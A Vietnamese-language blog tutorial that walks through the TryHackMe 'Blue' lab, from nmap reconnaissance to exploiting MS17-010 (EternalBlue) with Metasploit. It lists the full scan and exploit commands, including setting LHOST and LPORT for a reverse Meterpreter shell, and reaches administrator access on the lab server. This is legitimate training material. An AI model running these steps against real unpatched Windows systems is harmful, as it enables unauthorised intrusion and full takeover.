Xin chào,
Cũng đã hơn 4 tháng rồi mình mới gặp lại các bạn. Trong bài hôm nay chúng ta sẽ cùng nhau tìm hiểu lỗ hổng MS17-010, và ứng dụng Metasploit để khai thác lỗ hổng này nhằm xâm nhập và chiếm quyền kiểm soát hoàn toàn server Blue trên TryHackMe nhé.
Các bạn lưu ý, bài này không dành cho các bạn lần đầu tiên sử dụng TryHackMe hay chưa biết gì về Penetration Testing. Nếu bạn là một trong 2 trường hợp trên, thì bạn vui lòng sử dụng các đường link bên dưới trước khi đọc bài nhé.
Nếu các bạn đã quen với server TryHackMe và quy trình Penetration Testing, thì các bạn join vào server Blue tại đây nhé.
1 – Performing reconnaissance (Thu thập thông tin từ bên ngoài)
1A – Kiểm tra kết nối
Sau khi khởi động phòng Blue và chờ đợi trong 2 phút, chúng ta sẽ có được địa chỉ IP của phòng Blue như bên dưới

Chúng ta sẽ thử ping đến server Blue xem sao nhé

Ping thành công. Máy Kali Linux và server Blue có thể giao tiếp với nhau. Chúng ta sẽ bắt đầu thực hiện Nmap scans nhé.
1B – Nmap scans
Scan tất cả các TCP ports của server Blue
sudo nmap -vv -Pn -T4 -p- -oN tcp-scan 10.10.42.192


Chúng ta tìm được 9 ports TCP đang mở trên server Blue.
Scan tất cả các UDP ports của server Blue
sudo nmap -vv -Pn -T4 -sU -oN udp-scan 10.10.42.192


Tất cả các port UDP đều đã bị tường lửa chặn.
Scan services’ version, hệ điều hành của và chạy script tìm lỗi:
Dựa vào kết quả của 2 phần Nmap scans trên, chúng ta sẽ chạy câu lệnh sau
sudo nmap -vv -Pn -T4 -p 135,139,445,3389,49152,49153,49154,49158,49159 -sC -sV -O -oN script-scan 10.10.42.192

Chúng ta được kết quả như sau

Do kết quả trả về không cung cấp thêm bất cứ gợi ý nào, nên mình sẽ chạy thêm một Nmap scan nữa nhưng lần này mình sẽ sử dụng Nmap Script Engine (NSE) mang tên Vuln để scan tất cả các ports đang mở trên server Blue nhằm xác định xem các dịch vụ này có bị dính lỗi bảo mật nghiêm trọng nào không.
sudo nmap -vv -Pn -T4 --script vuln 10.10.42.192
Kết quả trả về cho ta thấy, có khả năng server Blue bị dính lỗ hổng bảo mật MS17-010 (CVE 2017-0143).

Ms17-010 như mô tả trong phần kết quả Nmap scan là một lỗ hổng xuất phát từ server SMBv1 của Windows và SMB thường sử dụng port 139 hoặc 445 (bạn nào quên thì xem lại bài sau nhé).
1C – Metasploit
Để chắc chắn, chúng ta sẽ sử dụng Metasploit để kiểm tra lại server Blue một lần nữa để chắc chắn rằng server Blue có dính lỗi MS17-010 hay không?
Chúng ta sẽ chạy loạt câu lệnh sau (bạn nào quên thì xem lại bài này nhé)
sudo su
systemctl start postgresql
msfdb init
msfconsole
Chúng ta sẽ được giao diện như sau

Tiếp đến chúng ta sẽ sử dụng câu lệnh bên dưới để đi đến module phát hiện lỗ hổng MS17-010 của Metasploit.
use auxiliary/scanner/smb/smb_ms17_010
Dùng lệnh options để kiểm tra các giá trị của module
options

Chúng ta sẽ gán địa chỉ IP của server Blue vào giá trị RHOSTS
set RHOSTS 10.10.42.192
Sau đó chúng ta chạy lệnh run
run
Và chúng ta có được kết quả sau

Đến lúc này, chúng ta đã có thể chắc chắn 90% rằng server Blue dính lỗ hổng bảo mật MS17-10.
2 – Exploiting vulnerabilities (Tiến hành xâm nhập)
2A – Lỗ hổng MS17-010, CVE 2017-0143 hay EternalBlue là gì?
Lỗ hổng MS17-010 hay còn được gọi là lỗ hổng EternalBlue là một lỗ hổng bảo mật nhắm đến dịch vụ SMBv1 chạy trên các hệ thống Windows; trải dài từ Windows XP cho đến tận Windows 10 version 1607. Các bạn có thể xem danh sách của các hệ điều hành Windows dính phải lỗ hổng này tại đây.
Nói một cách dễ hiểu nhất, các hệ thống chạy Windows thường sử dụng giao thức SMB để giao tiếp hoặc kết nối với nhau cho mục đích truy cập file dữ liệu được lưu ở một server nào đó trong mạng, hoặc kết nối đến các thiết bị như máy in ở trong mạng.
Lỗ hổng MS17-010 lợi dụng cơ chếxử lý sai các gói tin không bình thường của giao thức SMBv1, vốn được sử dụng rộng rãi trên gần như tất cả hệ điều hành Windows từ XP đến Windows 10 version 1607, để tiến hành xâm nhập vào hệ thống mục tiêu.
Nếu bạn có kiến thức về kiến trúc máy và về buffer overflow, bạn có thể tham khảo thêm cách lỗ hổng MS17-010 hoạt động tại đây.
Ransomware WannaCry khét tiếng năm 2017 đã lợi dụng lỗ hổng MS17-010 này để tấn công các hệ thống chưa được vá lỗi và lây lan ra toàn thế giới.
2B – Tiến hành xâm nhập server Blue bằng Metasploit
Trên Metasploit chúng ta sẽ dùng lệnh search để tìm module tấn công MS17-010.
search ms17-010

Chúng ta sẽ sử dụng module số 0 mang tên exploit/windows/smb/ms17_010_eternalblue
use 0
Sau đó, chúng ta cần kiểm tra các giá trị của module này với lệnh options
options

Có 3 giá trị mà chúng ta cần phải thay đổi đó là RHOST, LHOST và LPORT.
Với RHOST, chúng ta sẽ gán cho nó IP của server Blue
set RHOST 10.10.42.192
Với LHOST, chúng ta sẽ gán cho nó IP (tun0) của máy Kali.
set LHOST 10.2.56.144
Để lấy giá trị IP của máy Kali, các bạn dùng câu lệnh sau
ifconfig

Với LPORT, chúng ta sẽ gán cho nó giá trị 8888
set LPORT 8888

Sau khi gán xong, chúng ta có thể dùng lệnh options để kiểm tra lại các giá trị đã gán. Nếu tất cả các giá trị đều chính xác chúng ta sẽ chạy lệnh run để tấn công server Blue.
run

Chúng ta sẽ đợi khoản tầm vài phút để Metasploit tự động tấn công server Blue, nếu bạn được như hình bên dưới nghĩa là bạn đã tấn công thành công.

Trong Meterpreter shell, các bạn dùng lệnh shell để chuyển qua shell điều khiển hệ thống Windows từ xa.
shell
Bằng câu lệnh whoami, chúng ta biết được chúng ta đã có được quyền quản trị cao nhất của server Blue.
whoami

3 – Thử thách
Các bạn hãy vận dụng kiến thức của bài hôm nay đi kèm với phần hướng dẫn của TryHackMe và kiến thức đã học ở series Kali Linux Căn Bản kết hợp với tra cứu Google để chinh phục phòng Blue này nhé.
Các bạn thấy bài học hôm nay thế nào? Nếu bạn muốn học cách sử dụng Metaspliot một cách thành thạo để pentest hệ thống Linux và Windows thì hãy tham khảo thử khóa học của bên mình tại đây nhé.
Chúc các bạn học tốt,
Vincent Nguyễn